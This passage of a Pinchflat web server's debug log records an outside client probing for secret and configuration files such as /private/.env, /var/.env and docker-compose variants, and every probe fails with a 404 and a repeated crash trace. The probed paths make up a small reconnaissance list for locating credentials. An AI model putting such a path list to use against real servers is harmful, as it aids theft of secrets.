19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /private/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9573.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/private/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34948}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9574.0>, params: %{}, path_info: ["private", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/private/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAlBONNuAnUkAAb4C"} (truncated) 15:21:44.774 [info] GET /var/.env 15:21:44.775 [debug] QUERY OK source="settings" db=0.1ms idle=471.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:44.775 [debug] QUERY OK source="settings" db=0.0ms idle=471.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:44.775 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:44.775 [error] #PID<0.9576.0> running PinchflatWeb.Endpoint (connection #PID<0.9575.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /var/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /var/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9575.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34952}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9576.0>, params: %{}, path_info: ["var", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/var/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAl5khP9MNYcAAb5C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9575.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34952}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /var/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9575.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34952}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9576.0>, params: %{}, path_info: ["var", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/var/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAl5khP9MNYcAAb5C"} ], scheme: :http, sc (truncated) 15:21:45.011 [info] GET /docker-compose.yml 15:21:45.011 [debug] QUERY OK source="settings" db=0.1ms idle=514.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:45.011 [debug] QUERY OK source="settings" db=0.0ms idle=472.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:45.011 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:45.011 [error] #PID<0.9578.0> running PinchflatWeb.Endpoint (connection #PID<0.9577.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /docker-compose.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9577.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34966}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9578.0>, params: %{}, path_info: ["docker-compose"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/docker-compose.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAmx6QjrofwoAAb6C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9577.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34966}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9577.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34966}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9578.0>, params: %{}, path_info: ["docker-compose"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/docker-compose.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 15:21:45.153 [info] POST /graphql 15:21:45.153 [info] Sent 404 in 156µs 15:21:45.153 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:45.249 [info] GET /docker-compose.yaml 15:21:45.250 [debug] QUERY OK source="settings" db=0.0ms idle=710.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:45.250 [debug] QUERY OK source="settings" db=0.0ms idle=474.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:45.250 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:45.250 [error] #PID<0.9582.0> running PinchflatWeb.Endpoint (connection #PID<0.9581.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /docker-compose.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9581.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34972}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9582.0>, params: %{}, path_info: ["docker-compose"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/docker-compose.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAnqxev-yht4AAb8C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9581.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34972}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9581.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34972}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9582.0>, params: %{}, path_info: ["docker-compose"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/docker-compose.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 15:21:45.442 [info] POST /api 15:21:45.442 [info] Sent 404 in 171µs 15:21:45.442 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:45.483 [info] GET /docker-compose.override.yml 15:21:45.483 [debug] QUERY OK source="settings" db=0.1ms idle=708.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:45.483 [debug] QUERY OK source="settings" db=0.1ms idle=472.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:45.484 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:45.484 [error] #PID<0.9586.0> running PinchflatWeb.Endpoint (connection #PID<0.9585.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /docker-compose.override.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose.override (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9585.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.override.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34992}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9586.0>, params: %{}, path_info: ["docker-compose.override"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/docker-compose.override.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAoigvtUqgWAAAb-C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: 